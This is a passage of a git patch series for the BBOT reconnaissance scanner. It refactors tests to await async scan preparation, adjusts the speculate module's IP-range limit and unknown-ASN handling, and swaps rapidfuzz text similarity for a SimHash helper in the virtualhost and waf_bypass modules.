events1 = [] - for event in scan1.start(): + async for event in scan1.async_start(): events1.append(event) assert any("127.0.0.1" == e for e in events1) # make sure output files work scan2 = Scanner("127.0.0.1", output_modules=["json"], scan_name="python_api_test") - scan2.start_without_generator() + await scan2._prep() + await scan2.async_start_without_generator() out_file = scan2.helpers.scans_dir / "python_api_test" / "output.json" assert list(scan2.helpers.read_file(out_file)) # make sure config loads properly bbot_home = "/tmp/.bbot_python_api_test" - Scanner("127.0.0.1", config={"home": bbot_home}) + scan3 = Scanner("127.0.0.1", config={"home": bbot_home}) + await scan3._prep() assert os.environ["BBOT_TOOLS"] == str(Path(bbot_home) / "tools") -def test_python_api_validation(): +@pytest.mark.asyncio +async def test_python_api_validation(): from bbot.scanner import Scanner, Preset # invalid target with pytest.raises(ValidationError) as error: - Scanner("asdf:::asdf") + scan = Scanner("asdf:::asdf") + await scan._prep() assert str(error.value) == 'Unable to autodetect data type from "asdf:::asdf"' # invalid module with pytest.raises(ValidationError) as error: - Scanner(modules=["asdf"]) + scan = Scanner(modules=["asdf"]) + await scan._prep() assert str(error.value) == 'Could not find scan module "asdf". Did you mean "asn"?' # invalid output module with pytest.raises(ValidationError) as error: - Scanner(output_modules=["asdf"]) + scan = Scanner(output_modules=["asdf"]) + await scan._prep() assert str(error.value) == 'Could not find output module "asdf". Did you mean "teams"?' # invalid excluded module with pytest.raises(ValidationError) as error: - Scanner(exclude_modules=["asdf"]) + scan = Scanner(exclude_modules=["asdf"]) + await scan._prep() assert str(error.value) == 'Could not find module "asdf". Did you mean "asn"?' # invalid flag with pytest.raises(ValidationError) as error: - Scanner(flags=["asdf"]) + scan = Scanner(flags=["asdf"]) + await scan._prep() assert str(error.value) == 'Could not find flag "asdf". Did you mean "safe"?' # invalid required flag with pytest.raises(ValidationError) as error: - Scanner(require_flags=["asdf"]) + scan = Scanner(require_flags=["asdf"]) + await scan._prep() assert str(error.value) == 'Could not find flag "asdf". Did you mean "safe"?' # invalid excluded flag with pytest.raises(ValidationError) as error: - Scanner(exclude_flags=["asdf"]) + scan = Scanner(exclude_flags=["asdf"]) + await scan._prep() assert str(error.value) == 'Could not find flag "asdf". Did you mean "safe"?' # output module as normal module with pytest.raises(ValidationError) as error: - Scanner(modules=["json"]) + scan = Scanner(modules=["json"]) + await scan._prep() assert str(error.value) == 'Could not find scan module "json". Did you mean "asn"?' # normal module as output module with pytest.raises(ValidationError) as error: - Scanner(output_modules=["robots"]) + scan = Scanner(output_modules=["robots"]) + await scan._prep() assert str(error.value) == 'Could not find output module "robots". Did you mean "web_report"?' # invalid preset type with pytest.raises(ValidationError) as error: - Scanner(preset="asdf") + scan = Scanner(preset="asdf") + await scan._prep() assert str(error.value) == 'Preset must be of type Preset, not "str"' # include nonexistent preset with pytest.raises(ValidationError) as error: diff --git a/bbot/test/test_step_1/test_scan.py b/bbot/test/test_step_1/test_scan.py index df7c6e7d23..96e4591249 100644 --- a/bbot/test/test_step_1/test_scan.py +++ b/bbot/test/test_step_1/test_scan.py @@ -43,6 +43,7 @@ async def test_scan( assert "ipneighbor" in j["preset"]["modules"] scan1 = bbot_scanner("1.1.1.1", whitelist=["1.0.0.1"]) + await scan1._prep() assert not scan1.blacklisted("1.1.1.1") assert not scan1.blacklisted("1.0.0.1") assert not scan1.whitelisted("1.1.1.1") @@ -51,6 +52,7 @@ async def test_scan( assert not scan1.in_scope("1.1.1.1") scan2 = bbot_scanner("1.1.1.1") + await scan2._prep() assert not scan2.blacklisted("1.1.1.1") assert not scan2.blacklisted("1.0.0.1") assert scan2.whitelisted("1.1.1.1") @@ -65,6 +67,7 @@ async def test_scan( # make sure DNS resolution works scan4 = bbot_scanner("1.1.1.1", config={"dns": {"minimal": False}}) + await scan4._prep() await scan4.helpers.dns._mock_dns(dns_table) events = [] async for event in scan4.async_start(): @@ -74,6 +77,7 @@ async def test_scan( # make sure it doesn't work when you turn it off scan5 = bbot_scanner("1.1.1.1", config={"dns": {"minimal": True}}) + await scan5._prep() await scan5.helpers.dns._mock_dns(dns_table) events = [] async for event in scan5.async_start(): @@ -85,6 +89,7 @@ async def test_scan( await scan._cleanup() scan6 = bbot_scanner("a.foobar.io", "b.foobar.io", "c.foobar.io", "foobar.io") + await scan6._prep() assert len(scan6.dns_strings) == 1 @@ -184,6 +189,7 @@ async def test_python_output_matches_json(bbot_scanner): "blacklanternsecurity.com", config={"speculate": True, "dns": {"minimal": False}, "scope": {"report_distance": 10}}, ) + await scan._prep() await scan.helpers.dns._mock_dns({"blacklanternsecurity.com": {"A": ["127.0.0.1"]}}) events = [e.json() async for e in scan.async_start()] output_json = scan.home / "output.json" @@ -220,7 +226,7 @@ async def test_huge_target_list(bbot_scanner, monkeypatch): @pytest.mark.asyncio -async def test_exclude_cdn(bbot_scanner, monkeypatch): +async def test_exclude_cdn(bbot_scanner, monkeypatch, clean_default_config): # test that CDN exclusion works from bbot import Preset @@ -232,6 +238,7 @@ async def test_exclude_cdn(bbot_scanner, monkeypatch): # first, run a scan with no CDN exclusion scan = bbot_scanner("evilcorp.com") + await scan._prep() await scan.helpers._mock_dns(dns_mock) from bbot.modules.base import BaseModule @@ -248,7 +255,6 @@ async def handle_event(self, event): await self.emit_event("www.evilcorp.com:8080", "OPEN_TCP_PORT", parent=event, tags=["cdn-cloudflare"]) dummy = DummyModule(scan=scan) - await scan._prep() scan.modules["dummy"] = dummy events = [e async for e in scan.async_start() if e.type in ("DNS_NAME", "OPEN_TCP_PORT")] assert set(e.data for e in events) == { @@ -264,11 +270,12 @@ async def handle_event(self, event): # then run a scan with --exclude-cdn enabled preset = Preset("evilcorp.com") preset.parse_args() - assert preset.bake().to_yaml() == "modules:\n- portfilter\n" + baked_preset = await preset.bake() + assert baked_preset.to_yaml() == "modules:\n- portfilter\n" scan = bbot_scanner("evilcorp.com", preset=preset) + await scan._prep() await scan.helpers._mock_dns(dns_mock) dummy = DummyModule(scan=scan) - await scan._prep() scan.modules["dummy"] = dummy events = [e async for e in scan.async_start() if e.type in ("DNS_NAME", "OPEN_TCP_PORT")] assert set(e.data for e in events) == { From 11710ea268a47ef68b3469f58db0448b77336bd4 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 23 Sep 2025 17:33:41 -0400 Subject: [PATCH 072/129] test initialize order --- bbot/test/test_step_2/module_tests/test_module_neo4j.py | 1 + 1 file changed, 1 insertion(+) diff --git a/bbot/test/test_step_2/module_tests/test_module_neo4j.py b/bbot/test/test_step_2/module_tests/test_module_neo4j.py index ea05a77ed5..be395206d3 100644 --- a/bbot/test/test_step_2/module_tests/test_module_neo4j.py +++ b/bbot/test/test_step_2/module_tests/test_module_neo4j.py @@ -11,6 +11,7 @@ async def setup_after_prep(self, module_test): self.neo4j_used = False + async def setup_before_prep(self, module_test): class MockResult: async def data(s): self.neo4j_used = True From 40a35c1df455db1131fe619ead4a13f3373cb8a2 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 23 Sep 2025 18:29:31 -0400 Subject: [PATCH 073/129] another test fix --- .../test/test_step_2/module_tests/test_module_nmap_xml.py | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/bbot/test/test_step_2/module_tests/test_module_nmap_xml.py b/bbot/test/test_step_2/module_tests/test_module_nmap_xml.py index 9961883039..644cd4e928 100644 --- a/bbot/test/test_step_2/module_tests/test_module_nmap_xml.py +++ b/bbot/test/test_step_2/module_tests/test_module_nmap_xml.py @@ -28,6 +28,14 @@ async def handle_event(self, event): async def setup_after_prep(self, module_test): self.dummy_module = self.DummyModule(module_test.scan) module_test.scan.modules["dummy_module"] = self.dummy_module + await self.dummy_module.setup() + + # Manually update speculate module's open_port_consumers setting + speculate_module = module_test.scan.modules.get("speculate") + if speculate_module: + speculate_module.open_port_consumers = True + speculate_module.emit_open_ports = True + await module_test.mock_dns( { "blacklanternsecurity.com": {"A": ["127.0.0.1", "127.0.0.2"]}, From 86b3f03d501b64418742ca9d5708571ee849c950 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 23 Sep 2025 19:22:57 -0400 Subject: [PATCH 074/129] more test stuff again the sequel --- bbot/test/test_step_2/module_tests/test_module_shodan_dns.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_shodan_dns.py b/bbot/test/test_step_2/module_tests/test_module_shodan_dns.py index 0793fcc9a2..d2aaa99c8e 100644 --- a/bbot/test/test_step_2/module_tests/test_module_shodan_dns.py +++ b/bbot/test/test_step_2/module_tests/test_module_shodan_dns.py @@ -4,7 +4,7 @@ class TestShodan_DNS(ModuleTestBase): config_overrides = {"modules": {"shodan": {"api_key": "asdf"}}} - async def setup_after_prep(self, module_test): + async def setup_before_prep(self, module_test): module_test.httpx_mock.add_response( url="https://api.shodan.io/api-info?key=asdf", ) @@ -24,6 +24,8 @@ async def setup_after_prep(self, module_test): ], }, ) + + async def setup_after_prep(self, module_test): await module_test.mock_dns( { "blacklanternsecurity.com": { From 20ef83040a1b8921394344f985191616c98d3465 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 23 Sep 2025 23:16:37 -0400 Subject: [PATCH 075/129] even more :( --- .../template_tests/test_template_subdomain_enum.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py b/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py index 7f210b05c1..29ddf9b475 100644 --- a/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py +++ b/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py @@ -100,9 +100,11 @@ class TestSubdomainEnumWildcardBaseline(ModuleTestBase): "test.walmart.cn": {"A": ["127.0.0.1"]}, } + async def setup_before_prep(self, module_test): + self.queries = [] + async def setup_after_prep(self, module_test): await module_test.mock_dns(self.dns_mock_data) - self.queries = [] async def mock_query(query): self.queries.append(query) @@ -112,6 +114,7 @@ async def mock_query(query): from bbot.modules.templates.subdomain_enum import subdomain_enum subdomain_enum_module = subdomain_enum(module_test.scan) + await subdomain_enum_module.setup() subdomain_enum_module.query = mock_query subdomain_enum_module._name = "subdomain_enum" From 391155f101f6251749900e884f35445ab044b5ab Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 24 Sep 2025 00:45:52 -0400 Subject: [PATCH 076/129] test fix --- .../test/test_step_2/module_tests/test_module_subdomainradar.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/bbot/test/test_step_2/module_tests/test_module_subdomainradar.py b/bbot/test/test_step_2/module_tests/test_module_subdomainradar.py index c8cbae3fce..9e53c8f667 100644 --- a/bbot/test/test_step_2/module_tests/test_module_subdomainradar.py +++ b/bbot/test/test_step_2/module_tests/test_module_subdomainradar.py @@ -12,6 +12,8 @@ async def setup_after_prep(self, module_test): "asdf.blacklanternsecurity.com": {"A": ["127.0.0.88"]}, } ) + + async def setup_before_prep(self, module_test): module_test.httpx_mock.add_response( url="https://api.subdomainradar.io/profile", match_headers={"Authorization": "Bearer asdf"}, From 3dec03a408d3a9c2db72cf6a45b2a6f0a44b3a2f Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 24 Sep 2025 01:22:05 -0400 Subject: [PATCH 077/129] asdf --- .../module_tests/test_module_speculate.py | 53 ++++++++++++++++--- 1 file changed, 46 insertions(+), 7 deletions(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_speculate.py b/bbot/test/test_step_2/module_tests/test_module_speculate.py index 54dce51651..798432a2d0 100644 --- a/bbot/test/test_step_2/module_tests/test_module_speculate.py +++ b/bbot/test/test_step_2/module_tests/test_module_speculate.py @@ -5,7 +5,7 @@ class TestSpeculate_Subdirectories(ModuleTestBase): targets = ["http://127.0.0.1:8888/subdir1/subdir2/"] modules_overrides = ["httpx", "speculate"] - async def setup_after_prep(self, module_test): + async def setup_before_prep(self, module_test): expect_args = {"method": "GET", "uri": "/"} respond_args = {"response_data": "alive"} module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) @@ -35,11 +35,6 @@ async def setup_after_prep(self, module_test): } ) - module_test.httpx_mock.add_response( - url="https://api.certspotter.com/v1/issuances?domain=evilcorp.com&include_subdomains=true&expand=dns_names", - json=[{"dns_names": ["*.asdf.evilcorp.com"]}], - ) - from bbot.modules.base import BaseModule class DummyModule(BaseModule): @@ -55,7 +50,21 @@ async def setup(self): async def handle_event(self, event): self.events.append(event) - module_test.scan.modules["dummy"] = DummyModule(module_test.scan) + dummy_module = DummyModule(module_test.scan) + await dummy_module.setup() + module_test.scan.modules["dummy"] = dummy_module + + # Manually configure speculate module to emit OPEN_TCP_PORT events + # since the dummy module was added after speculate's setup phase + speculate_module = module_test.scan.modules["speculate"] + speculate_module.open_port_consumers = True + speculate_module.emit_open_ports = True + + async def setup_before_prep(self, module_test): + module_test.httpx_mock.add_response( + url="https://api.certspotter.com/v1/issuances?domain=evilcorp.com&include_subdomains=true&expand=dns_names", + json=[{"dns_names": ["*.asdf.evilcorp.com"]}], + ) def check(self, module_test, events): events_data = set() @@ -72,6 +81,36 @@ class TestSpeculate_OpenPorts_Portscanner(TestSpeculate_OpenPorts): modules_overrides = ["speculate", "certspotter", "portscan"] config_overrides = {"speculate": True} + async def setup_after_prep(self, module_test): + await module_test.mock_dns( + { + "evilcorp.com": {"A": ["127.0.254.1"]}, + "asdf.evilcorp.com": {"A": ["127.0.254.2"]}, + } + ) + + from bbot.modules.base import BaseModule + + class DummyModule(BaseModule): + _name = "dummy" + watched_events = ["OPEN_TCP_PORT"] + scope_distance_modifier = 10 + accept_dupes = True + + async def setup(self): + self.events = [] + return True + + async def handle_event(self, event): + self.events.append(event) + + dummy_module = DummyModule(module_test.scan) + await dummy_module.setup() + module_test.scan.modules["dummy"] = dummy_module + + # DON'T manually configure speculate module here - we want it to detect + # the portscan module and NOT emit OPEN_TCP_PORT events + def check(self, module_test, events): events_data = set() for e in module_test.scan.modules["dummy"].events: From d455b7c8f748c2ff33cf77af711fc03f5b19e334 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 24 Sep 2025 09:57:08 -0400 Subject: [PATCH 078/129] better large ip_range behavior --- bbot/modules/internal/speculate.py | 23 ++++++----------------- bbot/scanner/scanner.py | 7 ++++--- 2 files changed, 10 insertions(+), 20 deletions(-) diff --git a/bbot/modules/internal/speculate.py b/bbot/modules/internal/speculate.py index d5fbf3d17d..2ad27f1967 100644 --- a/bbot/modules/internal/speculate.py +++ b/bbot/modules/internal/speculate.py @@ -32,9 +32,9 @@ class speculate(BaseInternalModule): "author": "@liquidsec", } - options = {"max_hosts": 65536, "ports": "80,443", "essential_only": False} + options = {"ip_range_max_hosts": 65536, "ports": "80,443", "essential_only": False} options_desc = { - "max_hosts": "Max number of IP_RANGE hosts to convert into IP_ADDRESS events", + "ip_range_max_hosts": "Max number of hosts an IP_RANGE can contain to allow conversion into IP_ADDRESS events", "ports": "The set of ports to speculate on", "essential_only": "Only enable essential speculate features (no extra discovery)", } @@ -64,17 +64,6 @@ async def setup(self): if not self.portscanner_enabled: self.info(f"No portscanner enabled. Assuming open ports: {', '.join(str(x) for x in self.ports)}") - - # Count the number of seed entries, not total IP addresses to avoid overflow - target_len = len(self.scan.target.seeds.event_seeds) - if target_len > self.config.get("max_hosts", 65536): - if not self.portscanner_enabled: - self.hugewarning( - f"Selected target ({target_len:,} hosts) is too large, skipping IP_RANGE --> IP_ADDRESS speculation" - ) - self.hugewarning('Enabling the "portscan" module is highly recommended') - self.range_to_ip = False - return True async def handle_event(self, event): @@ -87,14 +76,14 @@ async def handle_event(self, event): speculate_open_ports = self.emit_open_ports and event_in_scope_distance # generate individual IP addresses from IP range - if event.type == "IP_RANGE" and self.range_to_ip: + if event.type == "IP_RANGE": net = ipaddress.ip_network(event.data) num_ips = net.num_addresses - max_hosts = self.config.get("max_hosts", 65536) + ip_range_max_hosts = self.config.get("ip_range_max_hosts", 65536) - if num_ips > max_hosts: + if num_ips > ip_range_max_hosts: self.warning( - f"IP range {event.data} contains {num_ips:,} addresses, which exceeds max_hosts limit of {max_hosts:,}. Skipping IP_ADDRESS speculation." + f"IP range {event.data} contains {num_ips:,} addresses, which exceeds ip_range_max_hosts limit of {ip_range_max_hosts:,}. Skipping IP_ADDRESS speculation." ) return diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index 1f0e8c3072..4b80cb0eb2 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -288,12 +288,13 @@ async def _prep(self): f.write(self.preset.to_yaml()) # log scan overview - start_msg = f"Scan seeded with {len(self.seeds.event_seeds):,} targets" + + start_msg = f"Scan seeded with {len(self.seeds):,} targets" details = [] if self.whitelist != self.target: - details.append(f"{len(self.whitelist.event_seeds):,} in whitelist") + details.append(f"{len(self.whitelist):,} in whitelist") if self.blacklist: - details.append(f"{len(self.blacklist.event_seeds):,} in blacklist") + details.append(f"{len(self.blacklist):,} in blacklist") if details: start_msg += f" ({', '.join(details)})" self.hugeinfo(start_msg) From df66c2501977629fb4615b0ddd7f7c5d58fcf1f8 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 25 Sep 2025 16:08:56 -0400 Subject: [PATCH 079/129] fixing unknown asn system --- bbot/core/helpers/asn.py | 4 +- bbot/modules/report/asn.py | 40 ++++++++++--------- .../module_tests/test_module_asn.py | 34 ++++++++++++++++ 3 files changed, 57 insertions(+), 21 deletions(-) diff --git a/bbot/core/helpers/asn.py b/bbot/core/helpers/asn.py index 6d1136cf06..2d589c798d 100644 --- a/bbot/core/helpers/asn.py +++ b/bbot/core/helpers/asn.py @@ -21,8 +21,8 @@ def __init__(self, parent_helper): # Default record used when no ASN data can be found UNKNOWN_ASN = { - "asn": "UNKNOWN", - "subnet": "0.0.0.0/32", + "asn": "0", + "subnets": [], "name": "unknown", "description": "unknown", "country": "", diff --git a/bbot/modules/report/asn.py b/bbot/modules/report/asn.py index 6d7e1e1bb6..12907663f5 100644 --- a/bbot/modules/report/asn.py +++ b/bbot/modules/report/asn.py @@ -18,11 +18,11 @@ class asn(BaseReportModule): async def setup(self): self.unknown_asn = { - "asn": "UNKNOWN", - "subnet": "0.0.0.0/32", - "name": "unknown", - "description": "unknown", - "country": "", + "asn": "0", + "subnets": [], + "asn_name": "unknown", + "org": "unknown", + "country": "unknown", } # Track ASN data locally instead of relying on cache self.asn_data = {} # ASN number -> ASN record mapping @@ -78,20 +78,22 @@ async def handle_event(self, event): self.processed_subnets[subnet] = asn_number emails = asn_record.get("emails", []) - asn_event = self.make_event(asn_number, "ASN", parent=event) - if asn_event: - await self.emit_event( - asn_event, - context=f"{{module}} looked up {event.data} and got {{event.type}}: AS{asn_number} ({asn_name}, {asn_desc}, {asn_country})", - ) + # Don't emit ASN 0 - it's reserved and indicates unknown ASN data + if asn_number != "0": + asn_event = self.make_event(int(asn_number), "ASN", parent=event) + if asn_event: + await self.emit_event( + asn_event, + context=f"{{module}} looked up {event.data} and got {{event.type}}: AS{asn_number} ({asn_name}, {asn_desc}, {asn_country})", + ) - for email in emails: - await self.emit_event( - email, - "EMAIL_ADDRESS", - parent=asn_event, - context=f"{{module}} retrieved details for AS{asn_number} and found {{event.type}}: {{event.data}}", - ) + for email in emails: + await self.emit_event( + email, + "EMAIL_ADDRESS", + parent=asn_event, + context=f"{{module}} retrieved details for AS{asn_number} and found {{event.type}}: {{event.data}}", + ) async def report(self): """Generate an ASN summary table based on locally tracked ASN data.""" @@ -105,7 +107,7 @@ async def report(self): header = ["ASN", "Subnet Count", "Name", "Description", "Country"] table = [] for asn, data in sorted_asns: - number = "AS" + asn if asn != "UNKNOWN" else asn + number = "AS" + asn if asn != "0" else asn table.append( [ number, diff --git a/bbot/test/test_step_2/module_tests/test_module_asn.py b/bbot/test/test_step_2/module_tests/test_module_asn.py index e66d37127c..fb5d8a9071 100644 --- a/bbot/test/test_step_2/module_tests/test_module_asn.py +++ b/bbot/test/test_step_2/module_tests/test_module_asn.py @@ -39,3 +39,37 @@ def check(self, module_test, events): # Verify ASN number is a valid integer assert any(isinstance(e.data, int) and e.data > 0 for e in asn_events) + + +class TestASNUnknownHandling(ModuleTestBase): + """Test ASN module behavior when API returns no data, leading to UNKNOWN_ASN usage.""" + + targets = ["8.8.8.8"] # Use known public IP but mock response to test unknown ASN handling + module_name = "asn" + modules_overrides = ["asn"] + config_overrides = {"scope": {"report_distance": 2}} + + async def setup_after_prep(self, module_test): + # Point ASNHelper to local test harness + from bbot.core.helpers.asn import ASNHelper + + module_test.monkeypatch.setattr(ASNHelper, "asndb_ip_url", "http://127.0.0.1:8888/v1/ip/") + + # Mock API to return 404 (no ASN data found) + expect_args = {"method": "GET", "uri": "/v1/ip/8.8.8.8"} + respond_args = { + "response_data": "Not Found", + "status": 404, + "content_type": "text/plain", + } + module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) + + def check(self, module_test, events): + # When API returns 404, ASN helper should return UNKNOWN_ASN with string "0" + # but NO ASN events should be emitted since ASN 0 is reserved + asn_events = [e for e in events if e.type == "ASN"] + + # Should NOT emit any ASN events when ASN data is unknown + assert not asn_events, ( + f"Should not emit any ASN events for unknown ASN data, but found: {[e.data for e in asn_events]}" + ) From eb7f570e9ca636e062e2c97b57f2ec7c67e4b74b Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 26 Sep 2025 12:30:16 -0400 Subject: [PATCH 080/129] change to simhash for comparison --- bbot/core/helpers/helper.py | 8 ++ bbot/core/helpers/web/web.py | 131 --------------------- bbot/modules/virtualhost.py | 42 +++---- bbot/modules/waf_bypass.py | 38 ++++-- bbot/test/test_step_1/test_helpers.py | 159 ++++++++++++++++++++++++++ 5 files changed, 211 insertions(+), 167 deletions(-) diff --git a/bbot/core/helpers/helper.py b/bbot/core/helpers/helper.py index 13974dd66a..ff7c422302 100644 --- a/bbot/core/helpers/helper.py +++ b/bbot/core/helpers/helper.py @@ -15,6 +15,7 @@ from .interactsh import Interactsh from .yara_helper import YaraHelper from .depsinstaller import DepsInstaller +from .simhash import SimHash from .async_helpers import get_event_loop from bbot.scanner.target import BaseTarget @@ -91,6 +92,7 @@ def __init__(self, preset): self._dns = None self._web = None self._asn = None + self._simhash = None self.config_aware_validators = self.validators.Validators(self) self.depsinstaller = DepsInstaller(self) self.word_cloud = WordCloud(self) @@ -114,6 +116,12 @@ def asn(self): self._asn = ASNHelper(self) return self._asn + @property + def simhash(self): + if self._simhash is None: + self._simhash = SimHash() + return self._simhash + @property def cloud(self): if self._cloud is None: diff --git a/bbot/core/helpers/web/web.py b/bbot/core/helpers/web/web.py index 8c1f71934b..c50fbb9ce0 100644 --- a/bbot/core/helpers/web/web.py +++ b/bbot/core/helpers/web/web.py @@ -626,134 +626,3 @@ def response_to_json(self, response): } return j - - def text_similarity(self, text1, text2, normalization_filter=None, similarity_cache=None, truncate=True): - """ - Calculate similarity between two text strings using rapidfuzz with performance optimizations. - - This method compares two text strings and returns a similarity score between 0.0 (completely - different) and 1.0 (identical). It includes several optimizations: - - Fast exact equality check for identical text - - Optional content truncation for large text (>4KB) to improve performance - - Optional caching using xxHash for fast cache key generation (bring your own similarity_cache dict) - - Text normalization filtering to remove dynamic content - - The method is particularly useful for: - - Comparing HTTP response bodies - - Content change detection - - Wildcard detection in web applications - - Deduplication of similar text content - - Args: - text1 (str): First text string to compare - text2 (str): Second text string to compare - normalization_filter (str, optional): String to remove from both texts before comparison. - Useful for removing hostnames, timestamps, or other dynamic content that would skew - similarity calculations. - similarity_cache (dict, optional): Cache dictionary for storing/retrieving similarity results. - Uses xxHash-based keys for fast lookups. If provided, results will be cached to improve - performance on repeated comparisons. - truncate (bool, optional): Whether to truncate large text for performance. Defaults to True. - When enabled, text larger than 4KB is truncated to first 2KB + last 1KB for comparison. - - Returns: - float: Similarity score between 0.0 (completely different) and 1.0 (identical). - Values closer to 1.0 indicate more similar content. - - Examples: - Basic similarity comparison: - >>> similarity = self.helpers.web.text_similarity(text1, text2) - >>> if similarity > 0.8: - >>> print("Texts are very similar") - - With content normalization filtering: - >>> similarity = self.helpers.web.text_similarity( - >>> baseline_text, - >>> probe_text, - >>> normalization_filter="example.com" - >>> ) - - With caching for performance: - >>> cache = {} - >>> similarity = self.helpers.web.text_similarity( - >>> text1, - >>> text2, - >>> similarity_cache=cache - >>> ) - - Disable truncation for exact comparison: - >>> similarity = self.helpers.web.text_similarity( - >>> text1, - >>> text2, - >>> truncate=False - >>> ) - - Performance Notes: - - Text larger than 4KB is automatically truncated to first 2KB + last 1KB for comparison (when truncate=True) - - Exact equality is checked first for optimal performance on identical text - - Cache keys are order-independent (comparing A,B gives same cache key as B,A) - - Disabling truncation may impact performance on very large text but provides more accurate results - """ - - # Fastest check: exact equality (very common for identical content) - if text1 == text2: - return 1.0 # Exactly the same - - from rapidfuzz import fuzz - import xxhash - - # Normalize by removing specified content to eliminate differences - if normalization_filter: - text1 = text1.replace(normalization_filter, "") - text2 = text2.replace(normalization_filter, "") - - # Create fast hashes for cache key using xxHash - text1_hash = xxhash.xxh64(text1.encode() if isinstance(text1, str) else text1).hexdigest() - text2_hash = xxhash.xxh64(text2.encode() if isinstance(text2, str) else text2).hexdigest() - - # Create cache key (order-independent) - include truncate setting in cache key - cache_key = tuple(sorted([text1_hash, text2_hash]) + [str(truncate)]) - - # Check cache first if provided - if similarity_cache is not None and cache_key in similarity_cache: - return similarity_cache[cache_key] - - # Calculate similarity with optional truncation for performance - if truncate and (len(text1) > 4096 or len(text2) > 4096): - # Take first 2048 bytes + last 1024 bytes for comparison - text1_truncated = self._truncate_content_for_similarity(text1) - text2_truncated = self._truncate_content_for_similarity(text2) - similarity = fuzz.ratio(text1_truncated, text2_truncated) / 100.0 - else: - # Use full content for comparison - similarity = fuzz.ratio(text1, text2) / 100.0 - - # Cache the result if cache provided - if similarity_cache is not None: - similarity_cache[cache_key] = similarity - - return similarity - - def _truncate_content_for_similarity(self, content): - """ - Truncate content for similarity comparison to improve performance. - - Truncation rules: - - If content <= 3072 bytes (2048 + 1024): return as-is - - If content > 3072 bytes: return first 2048 bytes + last 1024 bytes - - This captures: - - First 2048 bytes: HTTP headers, HTML head, title, main content start - - Last 1024 bytes: Footers, closing scripts, HTML closing tags - """ - content_length = len(content) - - # No truncation needed for smaller content - if content_length <= 3072: - return content - - # Truncate: first 2048 + last 1024 bytes - first_part = content[:2048] - last_part = content[-1024:] - - return first_part + last_part diff --git a/bbot/modules/virtualhost.py b/bbot/modules/virtualhost.py index a6ce44bb52..cb83e01bdd 100644 --- a/bbot/modules/virtualhost.py +++ b/bbot/modules/virtualhost.py @@ -12,10 +12,9 @@ class virtualhost(BaseModule): flags = ["active", "aggressive", "slow", "deadly"] meta = {"description": "Fuzz for virtual hosts", "created_date": "2022-05-02", "author": "@liquidsec"} - deps_pip = ["rapidfuzz"] deps_common = ["curl"] - SIMILARITY_THRESHOLD = 0.5 + SIMILARITY_THRESHOLD = 0.8 CANARY_LENGTH = 12 MAX_RESULTS_FLOOD_PROTECTION = 50 @@ -416,12 +415,12 @@ async def _wildcard_canary_check(self, probe_scheme, probe_host, event, host_ip, ) return True + probe_simhash = self.helpers.simhash.hash(probe_response["response_data"]) + wildcard_simhash = self.helpers.simhash.hash(wildcard_canary_response["response_data"]) + similarity = self.helpers.simhash.similarity(probe_simhash, wildcard_simhash) + # Compare original probe response with modified response - similarity = self.helpers.web.text_similarity( - probe_response["response_data"], - wildcard_canary_response["response_data"], - similarity_cache=self.similarity_cache, - ) + result = similarity <= self.SIMILARITY_THRESHOLD if not result: @@ -755,14 +754,12 @@ def analyze_response(self, probe_host, probe_response, canary_response, event): # Calculate content similarity to canary (junk response) # Use probe hostname for normalization to remove hostname reflection differences - similarity = self.helpers.web.text_similarity( - canary_response["response_data"], - probe_response["response_data"], - normalization_filter=probe_host, - similarity_cache=self.similarity_cache, - ) - # Debug logging only when we think we found a match + probe_simhash = self.helpers.simhash.hash(probe_response["response_data"], normalization_filter=probe_host) + canary_simhash = self.helpers.simhash.hash(canary_response["response_data"], normalization_filter=probe_host) + + similarity = self.helpers.simhash.similarity(probe_simhash, canary_simhash) + if similarity <= self.SIMILARITY_THRESHOLD: self.verbose( f"POTENTIAL MATCH: {probe_host} vs canary - similarity: {similarity:.3f} (threshold: {self.SIMILARITY_THRESHOLD}), probe status: {probe_status}, canary status: {canary_status}" @@ -791,11 +788,10 @@ async def _verify_canary_keyword(self, original_response, probe_url, is_https, b ) return False - similarity = self.helpers.web.text_similarity( - original_response["response_data"], - keyword_canary_response["response_data"], - similarity_cache=self.similarity_cache, - ) + original_simhash = self.helpers.simhash.hash(original_response["response_data"]) + keyword_simhash = self.helpers.simhash.hash(keyword_canary_response["response_data"]) + similarity = self.helpers.simhash.similarity(original_simhash, keyword_simhash) + if similarity >= self.SIMILARITY_THRESHOLD: self.verbose( f"Intentionally wrong hostname has a canary too similar to the original. Using probe url: {probe_url} - similarity: {similarity:.3f} above threshold {self.SIMILARITY_THRESHOLD} - Original: {original_response.get('http_code', 'N/A')} ({len(original_response.get('response_data', ''))} bytes), Current: {keyword_canary_response.get('http_code', 'N/A')} ({len(keyword_canary_response.get('response_data', ''))} bytes)" @@ -832,11 +828,9 @@ async def _verify_canary_consistency( return True # Fallback - use similarity comparison for response data (allows slight differences) - similarity = self.helpers.web.text_similarity( - original_canary_response["response_data"], - consistency_canary_response["response_data"], - similarity_cache=self.similarity_cache, - ) + original_simhash = self.helpers.simhash.hash(original_canary_response["response_data"]) + consistency_simhash = self.helpers.simhash.hash(consistency_canary_response["response_data"]) + similarity = self.helpers.simhash.similarity(original_simhash, consistency_simhash) if similarity < self.SIMILARITY_THRESHOLD: self.verbose( f"CANARY SIMILARITY 